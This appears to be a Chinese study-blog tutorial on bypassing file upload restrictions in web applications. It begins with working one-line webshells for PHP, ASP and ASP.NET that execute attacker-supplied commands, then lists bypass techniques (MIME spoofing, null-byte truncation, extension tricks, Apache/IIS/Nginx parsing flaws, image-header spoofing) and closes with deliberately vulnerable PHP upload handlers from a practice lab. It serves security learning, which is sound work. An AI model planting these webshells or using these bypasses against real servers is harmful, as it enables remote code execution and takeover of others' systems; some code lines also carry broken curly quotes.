跟大佬学的文件上传绕过
Created at 2018-07-07 Updated at 2018-07-10
< !–more–>
潘老师人美心善,炒鸡炒鸡耐心教我这个小白,特别感恩!
一句话木马
PHP:
<?php echo shell_exec($_GET[‘a’]);?>
<?php @eval($_POST[‘a’]); ?>
ASP:
<%eval request(“Cknife”)%>
ASP.NET:
<%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%>
文件上传漏洞检测
1.客户端javascript检测(通常在本地检测文件的扩展名)
绕过:
①禁用js
②先把文件改成符合条件的文件格式上传,再在抓包,修改文件的后缀名
2.服务端检测绕过(MIME类型检测)
绕过:
可以通过burp拦包,将原Content-Type类型改成符合的类型。
3.服务端目录路径检测
绕过:
上传时提供存储路径为image/20160704/可以修改为image/20160704/evil.php%00来截断。
后端程序会将连接为image/20160704/evil.php%00filename.gif00截断导致最终存储为evil.php
4.服务端文件扩展名检测
(1)黑名单检测:接收上传的文件做对比,如果匹配到黑名单中的后缀名,则不允许上传
绕过:
①后缀名大小写绕过 ,例如:将Burpsuite截获的数据包中的文件名evil.php改evil.Php
②名单列表绕过,尝试使用非黑名单内的后缀名,如php5,php7等
③特殊文件名绕过(只适用windows,将文件名改为evil.php.或 evil.php (注意这里有一个空格)。
在windows下,不允许这样的命名,所以会将.和空格自动去掉)。
④0x00截断绕过:在上传的时候,当文件系统读到0x00时,会认为文件已经结束。
例如:1.php%00.jpg,验证扩展名是.jpg,但写入的时候是1.php文件。
(2)白名单检测:接收上传的文件做扩展名匹配,匹配上白名单中的扩展名才能上传
绕过:
①0x00截断绕过
②解析漏洞绕过
apache解析文件名是从右到左识别扩展名,如eval.php.jpg,文件为php文件,不能解析jpg会向前解析php
IIS6.0 目录名包含.asp、.asa、.cer的话,则该目录下的所有文件都将按照asp解析。
IIS6.0不解析;后面的,所以提交evil.asp;.html解析为asp类型
Nginx解析漏洞:将php文件换成其他可以通过的文件后缀,访问的时候在后面加上/.php,
例如:evil.jpg/.php,evil.jpg会解析为php的格式
5.服务端文件内容检测
图像类的文件内容检测
文件幻数检测(图片头格式检测)
jpg内容头value= FF D8 FF E0 00 10 4A 46 49 46
gif内容头value= 47 49 46 38 39 61
png内容头value= 89 50 4E 47
绕过:在文件头后加上一句话木马就能绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
//基于MIME
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type’];
//得到上传文件名的类型,kali里可以用mimetype 文件名来查看
//例如:mimetype 1.php 9527.php: application/x-php(php类型)
//尽管后缀名改了还是能识别真正的类型(根据内容来检测)
$uploaded_size = $_FILES['uploaded']['size'];
//得到文件的大小
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
//这里做文件类型和文件大小的比较
//文件大小被规定为100000KB,因此参照LOW抓包改文件最大值不能绕过
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)){
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>'; }
else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>'; }
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
//基于黑名单
<?php
$BlackList = array('asp','php','jsp','php5','asa','aspx’);
//黑名单
if (isset($_POST["submit"])){
$name = $_FILES['file']['name']; //接收文件名
echo $name;
$extension = substr(strrchr($name,"."),1);
//得到扩展名
$boo = false;
foreach ($BlackList as $key=>$value){
//foreach()函数的意思是BlackList的键值赋值给value
//相当于value=BlackList[i],key=i(数组下标)
if ($value==$extension){
//迭代判断是否有命中
$boo=true;
break;//命中之后直接退出循环
}
}
if(!$boo){
//如果没有命中,则开始文件上传操作
$size=$_FILES['file']['size’];
//接收文件大小
$tmp=$_FILES['file']['tmp_name’];
//临时路径
move_uploaded_file($tmp,$name);
//移动临时文件到当前文件目录
echo "文件上传成功!<br/> path:".$name;
}
else {
echo "文件不合法!!";
}
}
?>
///基于白名单
<?php
$WhiteList=array('rar','jpg','png','bmp','gif','jpg','doc’);
if (isset($_POST["submit"])){
$name = $_FILES['file']['name’];
//接收文件名
$extension = substr(strrchr($name,"."),1);
//得到扩展名
$boo = false;
foreach ($WhiteList as $key=>$value){
if ($value==$extension){
//迭代判断是否有命中
$boo=true;
}
}
if($boo){
//如果有命中,则开始文件上传操作
$size=$_FILES['file']['size’];
//接收文件大小
$tmp=$_FILES['file']['tmp_name’];
//临时路径
move_uploaded_file($tmp,$name);
//移动临时文件到当前文件目录
echo "文件上传成功!<br/> path:".$name;
}
else {
echo "文件不合法!!";
}
}
?>